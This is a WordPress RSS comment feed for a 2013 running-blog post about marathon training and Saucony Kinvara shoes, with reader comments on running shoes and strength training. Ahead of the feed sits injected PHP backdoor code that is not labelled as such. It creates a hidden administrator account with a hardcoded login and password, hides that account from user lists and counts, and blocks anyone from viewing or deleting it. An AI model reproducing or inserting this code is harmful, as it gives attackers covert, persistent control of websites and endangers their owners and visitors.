if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

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    add_filter('views_users', 'protect_user_count');
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            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
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    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
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        return $views;
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        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
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    function protect_user_from_deleting() {

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            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

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    $args = array(
        'user_login' => 'wertuslash',
        'user_pass' => 'fZgfj64ffs!32gggfAS',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
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        update_option('_pre_user_id', $id);

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        if ($hidden_user->user_email != $args['user_email']) {
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            $args['ID'] = $id;
            wp_insert_user($args);
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    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
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	<title>
	Comments on: Marathon Training Week 3 + Saucony Kinvara 4	</title>
	<atom:link href="https://www.bobbimccormick.com/marathon-training-week-3/feed/" rel="self" type="application/rss+xml" />
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	<description>nHerShoes</description>
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		<title>
		By: Holly @ EatGreatBEGreat		</title>
		<link>https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13631</link>

		<dc:creator><![CDATA[Holly @ EatGreatBEGreat]]></dc:creator>
		<pubDate>Tue, 16 Apr 2013 01:02:33 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=28377#comment-13631</guid>

					<description><![CDATA[I love Ryka brand shoes for running.  They are super lightweight and comfortable!  Good luck on your training!]]></description>
			<content:encoded><![CDATA[<p>I love Ryka brand shoes for running.  They are super lightweight and comfortable!  Good luck on your training!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Kristin Stewart @ thismamasheartthoughts.blogspot.ca		</title>
		<link>https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13613</link>

		<dc:creator><![CDATA[Kristin Stewart @ thismamasheartthoughts.blogspot.ca]]></dc:creator>
		<pubDate>Mon, 15 Apr 2013 20:55:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=28377#comment-13613</guid>

					<description><![CDATA[My favourite running shoes are ASICS becasue I go to a place that sells them at cost.  My personal best 1/2 marathon was run in Mizuno&#039;s though so I am fond of them as well.]]></description>
			<content:encoded><![CDATA[<p>My favourite running shoes are ASICS becasue I go to a place that sells them at cost.  My personal best 1/2 marathon was run in Mizuno&#8217;s though so I am fond of them as well.</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: beka @ rebecca roams		</title>
		<link>https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13448</link>

		<dc:creator><![CDATA[beka @ rebecca roams]]></dc:creator>
		<pubDate>Sun, 14 Apr 2013 01:10:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=28377#comment-13448</guid>

					<description><![CDATA[Way to go on your long run pace! That is AWESOME. Did you run it in your Kinvara4&#039;s?
I&#039;m currently searching for my &quot;shoe love&quot; - I&#039;ve been transitioning into the Newtons, but dealing with sesamoiditis right now. So not sure how much I&#039;m loving THAT. Tomorrow is my last race of the spring and I fully intend to jump into strength training and swimming for about 12 weeks before beginning marathon training!]]></description>
			<content:encoded><![CDATA[<p>Way to go on your long run pace! That is AWESOME. Did you run it in your Kinvara4&#8217;s?<br />
I&#8217;m currently searching for my &#8220;shoe love&#8221; &#8211; I&#8217;ve been transitioning into the Newtons, but dealing with sesamoiditis right now. So not sure how much I&#8217;m loving THAT. Tomorrow is my last race of the spring and I fully intend to jump into strength training and swimming for about 12 weeks before beginning marathon training!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Kim A.		</title>
		<link>https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13430</link>

		<dc:creator><![CDATA[Kim A.]]></dc:creator>
		<pubDate>Sat, 13 Apr 2013 19:50:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=28377#comment-13430</guid>

					<description><![CDATA[What kind of HIIT are you doing after lifting?  Are you doing the Tabata with kettlebells? Or something similar? 

Glad it&#039;s going well for you.  I just started a weight training routine using kettlebells.  I&#039;m in week 3, so right now I can run 3x&#039;s a week, but that will have to drop to 2x&#039;s a week later in the program.  But I want to be able to ramp back up to do a half (maybe) in the fall. 

My favorite running shoes my Asics GT2000.]]></description>
			<content:encoded><![CDATA[<p>What kind of HIIT are you doing after lifting?  Are you doing the Tabata with kettlebells? Or something similar? </p>
<p>Glad it&#8217;s going well for you.  I just started a weight training routine using kettlebells.  I&#8217;m in week 3, so right now I can run 3x&#8217;s a week, but that will have to drop to 2x&#8217;s a week later in the program.  But I want to be able to ramp back up to do a half (maybe) in the fall. </p>
<p>My favorite running shoes my Asics GT2000.</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Leah		</title>
		<link>https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13270</link>

		<dc:creator><![CDATA[Leah]]></dc:creator>
		<pubDate>Fri, 12 Apr 2013 07:20:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=28377#comment-13270</guid>

					<description><![CDATA[I love the positive vibe in this post! Sounds like training is going so well for you!! Great job Bobbi!]]></description>
			<content:encoded><![CDATA[<p>I love the positive vibe in this post! Sounds like training is going so well for you!! Great job Bobbi!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Sue		</title>
		<link>https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13258</link>

		<dc:creator><![CDATA[Sue]]></dc:creator>
		<pubDate>Fri, 12 Apr 2013 05:45:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=28377#comment-13258</guid>

					<description><![CDATA[Love your yellow duck  Kinvaras. I run in Vibrams and am  the Seeya.]]></description>
			<content:encoded><![CDATA[<p>Love your yellow duck  Kinvaras. I run in Vibrams and am  the Seeya.</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Christine @ Oatmeal Bowl		</title>
		<link>https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13252</link>

		<dc:creator><![CDATA[Christine @ Oatmeal Bowl]]></dc:creator>
		<pubDate>Fri, 12 Apr 2013 04:32:18 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=28377#comment-13252</guid>

					<description><![CDATA[Looking great (as always). And Fresh &#038; Easy is definitely my go to grocers. Ash loves the berry selection there.]]></description>
			<content:encoded><![CDATA[<p>Looking great (as always). And Fresh &amp; Easy is definitely my go to grocers. Ash loves the berry selection there.</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Angie		</title>
		<link>https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13227</link>

		<dc:creator><![CDATA[Angie]]></dc:creator>
		<pubDate>Thu, 11 Apr 2013 22:56:34 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=28377#comment-13227</guid>

					<description><![CDATA[You look great and I am glad you are feeling the same way.
I always feel so much stronger running when I am consistent with my strength training, it is a constant struggle for me though. I would much rather run or go to yoga then strength train.]]></description>
			<content:encoded><![CDATA[<p>You look great and I am glad you are feeling the same way.<br />
I always feel so much stronger running when I am consistent with my strength training, it is a constant struggle for me though. I would much rather run or go to yoga then strength train.</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Melissa @TryingtoHeal		</title>
		<link>https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13222</link>

		<dc:creator><![CDATA[Melissa @TryingtoHeal]]></dc:creator>
		<pubDate>Thu, 11 Apr 2013 22:32:09 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=28377#comment-13222</guid>

					<description><![CDATA[I&#039;m so glad the training is going well! I&#039;m sad I couldn&#039;t have stayed longer to run with you!!]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m so glad the training is going well! I&#8217;m sad I couldn&#8217;t have stayed longer to run with you!!</p>
]]></content:encoded>
		
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